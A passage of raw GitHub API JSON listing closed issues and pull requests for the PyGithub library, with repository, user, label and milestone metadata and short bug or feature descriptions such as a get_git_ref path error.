v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Implement APIs described in http://developer.github.com/v3/repos/statuses/"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102/events","html_url":"https://github.com/jacquev6/PyGithub/issues/102","id":7331214,"number":102,"title":"get_git_ref does not prepend 'refs'","user":{"login":"simon-weber","id":950506,"avatar_url":"https://secure.gravatar.com/avatar/5ac24ef595f7d1cd016bc3de24f78e60?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5ac24ef595f7d1cd016bc3de24f78e60","url":"https://api.github.com/users/simon-weber","html_url":"https://github.com/simon-weber","followers_url":"https://api.github.com/users/simon-weber/followers","following_url":"https://api.github.com/users/simon-weber/following{/other_user}","gists_url":"https://api.github.com/users/simon-weber/gists{/gist_id}","starred_url":"https://api.github.com/users/simon-weber/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/simon-weber/subscriptions","organizations_url":"https://api.github.com/users/simon-weber/orgs","repos_url":"https://api.github.com/users/simon-weber/repos","events_url":"https://api.github.com/users/simon-weber/events{/privacy}","received_events_url":"https://api.github.com/users/simon-weber/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/15","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/15/labels","id":190819,"number":15,"title":"Version 1.8.1","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-10-07T11:01:54Z","updated_at":"2012-10-28T09:46:01Z","due_on":null},"comments":2,"created_at":"2012-10-03T19:02:53Z","updated_at":"2012-10-07T11:06:11Z","closed_at":"2012-10-07T11:06:11Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"The docs say get_git_refs performs `/repos/:user/:repo/git/refs/:ref`, but actually performs `/repos/:user/:repo/git/:ref`. For example:\r\n\r\n```\r\n>>> github.Github().get_user(\"jacquev6\").get_repo(\"PyGithub\").get_git_ref('heads/master')\r\n# => 404, but should work\r\n>>> github.Github().get_user(\"jacquev6\").get_repo(\"PyGithub\").get_git_ref('refs/heads/master')\r\n# => works, but should 404\r\n```\r\n\r\n\r\n\r\n`refs/` is prepended to a provided reference in the Github api: http://developer.github.com/v3/git/refs/#get-a-reference."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124/events","html_url":"https://github.com/jacquev6/PyGithub/issues/124","id":9489813,"number":124,"title":"Fixed Issue #123: Repository.get_contents does not accept ref=branch","user":{"login":"fixxxeruk","id":1074943,"avatar_url":"https://secure.gravatar.com/avatar/de3cd5a76ce1ef2cdcf7060068d693e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de3cd5a76ce1ef2cdcf7060068d693e0","url":"https://api.github.com/users/fixxxeruk","html_url":"https://github.com/fixxxeruk","followers_url":"https://api.github.com/users/fixxxeruk/followers","following_url":"https://api.github.com/users/fixxxeruk/following{/other_user}","gists_url":"https://api.github.com/users/fixxxeruk/gists{/gist_id}","starred_url":"https://api.github.com/users/fixxxeruk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fixxxeruk/subscriptions","organizations_url":"https://api.github.com/users/fixxxeruk/orgs","repos_url":"https://api.github.com/users/fixxxeruk/repos","events_url":"https://api.github.com/users/fixxxeruk/events{/privacy}","received_events_url":"https://api.github.com/users/fixxxeruk/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":2,"created_at":"2012-12-23T12:15:06Z","updated_at":"2012-12-25T10:53:21Z","closed_at":"2012-12-25T10:53:21Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/124","diff_url":"https://github.com/jacquev6/PyGithub/pull/124.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/124.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Tested and validated. This change does not break API compatibility."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129/events","html_url":"https://github.com/jacquev6/PyGithub/issues/129","id":9776615,"number":129,"title":"Add Suppport For the GitHub Hooks PubSubHub","user":{"login":"s0undt3ch","id":300048,"avatar_url":"https://secure.gravatar.com/avatar/49656fcaeab19bd7ad1d51264ea37e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"49656fcaeab19bd7ad1d51264ea37e7d","url":"https://api.github.com/users/s0undt3ch","html_url":"https://github.com/s0undt3ch","followers_url":"https://api.github.com/users/s0undt3ch/followers","following_url":"https://api.github.com/users/s0undt3ch/following{/other_user}","gists_url":"https://api.github.com/users/s0undt3ch/gists{/gist_id}","starred_url":"https://api.github.com/users/s0undt3ch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s0undt3ch/subscriptions","organizations_url":"https://api.github.com/users/s0undt3ch/orgs","repos_url":"https://api.github.com/users/s0undt3ch/repos","events_url":"https://api.github.com/users/s0undt3ch/events{/privacy}","received_events_url":"https://api.github.com/users/s0undt3ch/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":2,"created_at":"2013-01-08T17:49:50Z","updated_at":"2013-02-05T22:48:01Z","closed_at":"2013-02-05T22:48:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Add Suppport For the [GitHub Hooks PubSubHub](http://developer.github.com/v3/repos/hooks/#pubsubhubbub)"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133/events","html_url":"https://github.com/jacquev6/PyGithub/issues/133","id":10360280,"number":133,"title":"Fix failing get_page function","user":{"login":"llimllib","id":7150,"avatar_url":"https://secure.gravatar.com/avatar/aa7c1350d93036592f58f165318044db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"aa7c1350d93036592f58f165318044db","url":"https://api.github.com/users/llimllib","html_url":"https://github.com/llimllib","followers_url":"https://api.github.com/users/llimllib/followers","following_url":"https://api.github.com/users/llimllib/following{/other_user}","gists_url":"https://api.github.com/users/llimllib/gists{/gist_id}","starred_url":"https://api.github.com/users/llimllib/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/llimllib/subscriptions","organizations_url":"https://api.github.com/users/llimllib/orgs","repos_url":"https://api.github.com/users/llimllib/repos","events_url":"https://api.github.com/users/llimllib/events{/privacy}","received_events_url":"https://api.github.com/users/llimllib/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug"